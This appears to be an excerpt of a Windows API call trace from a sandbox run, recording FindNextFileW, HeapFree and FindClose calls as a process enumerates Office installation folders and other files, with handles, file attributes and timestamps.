	[0071.405] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0x0, dwReserved1=0x0, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1
	[0071.407] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e80058 | out: hHeap=0x720000) returned 1
	[0071.407] FindNextFileW (in: hFindFile=0x811b48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1
	[0071.407] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e70050 | out: hHeap=0x720000) returned 1
	[0071.407] FindNextFileW (in: hFindFile=0x811e48, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0071.407] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0071.409] FindNextFileW (in: hFindFile=0x8120c8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a614a30, ftCreationTime.dwHighDateTime=0x1d58f38, ftLastAccessTime.dwLowDateTime=0xca57ba90, ftLastAccessTime.dwHighDateTime=0x1d5ef8a, ftLastWriteTime.dwLowDateTime=0xca57ba90, ftLastWriteTime.dwHighDateTime=0x1d5ef8a, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="whatsapp.exe", cAlternateFileName="")) returned 1
	[0071.409] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3e91f60 | out: hHeap=0x720000) returned 1
	[0071.409] FindNextFileW (in: hFindFile=0x811b88, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf9dfb986, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf9dfb986, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1
	[0071.796] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0071.796] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf982bd9c, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1
	[0071.876] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ee3390 | out: hHeap=0x720000) returned 1
	[0071.876] FindNextFileW (in: hFindFile=0x811cc8, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1
	[0071.882] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0071.882] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0072.385] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0072.385] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0072.402] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0072.402] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0
	[0072.402] FindClose (in: hFindFile=0x811948 | out: hFindFile=0x811948) returned 1
	[0072.402] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ed3388 | out: hHeap=0x720000) returned 1
	[0072.402] FindNextFileW (in: hFindFile=0x812048, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0
	[0072.402] FindClose (in: hFindFile=0x812048 | out: hFindFile=0x812048) returned 1
	[0072.402] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0072.402] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1
	[0072.425] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0072.425] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1
	[0072.428] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0072.428] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1
	[0072.433] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3ec3380 | out: hHeap=0x720000) returned 1
	[0072.433] FindNextFileW (in: hFindFile=0x811948, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1
	[0072.433] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0072.433] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1
	[0072.443] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3eb3378 | out: hHeap=0x720000) returned 1
	[0072.443] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1
	[0072.451] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0072.451] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0072.464] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0072.464] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1
	[0073.394] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0073.395] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1
	[0073.395] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0073.396] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1
	[0073.398] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0073.398] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0073.398] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0073.398] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0073.398] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0073.398] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1
	[0073.400] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f433b0 | out: hHeap=0x720000) returned 1
	[0073.400] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0
	[0073.400] FindClose (in: hFindFile=0x811b08 | out: hFindFile=0x811b08) returned 1
	[0073.400] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f133a0 | out: hHeap=0x720000) returned 1
	[0073.401] FindNextFileW (in: hFindFile=0x812008, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1
	[0073.886] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f633c0 | out: hHeap=0x720000) returned 1
	[0073.886] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1
	[0073.892] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f633c0 | out: hHeap=0x720000) returned 1
	[0073.892] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1
	[0073.925] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f633c0 | out: hHeap=0x720000) returned 1
	[0073.925] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1
	[0073.935] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f633c0 | out: hHeap=0x720000) returned 1
	[0073.935] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1
	[0073.939] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f633c0 | out: hHeap=0x720000) returned 1
	[0073.942] FindNextFileW (in: hFindFile=0x811c88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1
	[0073.967] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f533b8 | out: hHeap=0x720000) returned 1
	[0073.967] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0073.967] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f533b8 | out: hHeap=0x720000) returned 1
	[0073.967] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0073.967] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f533b8 | out: hHeap=0x720000) returned 1
	[0073.967] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1
	[0074.398] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f533b8 | out: hHeap=0x720000) returned 1
	[0074.398] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1
	[0074.402] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3f533b8 | out: hHeap=0x720000) returned 1
	[0074.402] FindNextFileW (in: hFindFile=0x811a48, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1
	[0074.413] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc33d8 | out: hHeap=0x720000) returned 1
	[0074.413] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0074.416] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc33d8 | out: hHeap=0x720000) returned 1
	[0074.416] FindNextFileW (in: hFindFile=0x811b08, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0074.419] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x3fc33d8 | out: hHeap=0x720000) returned 1
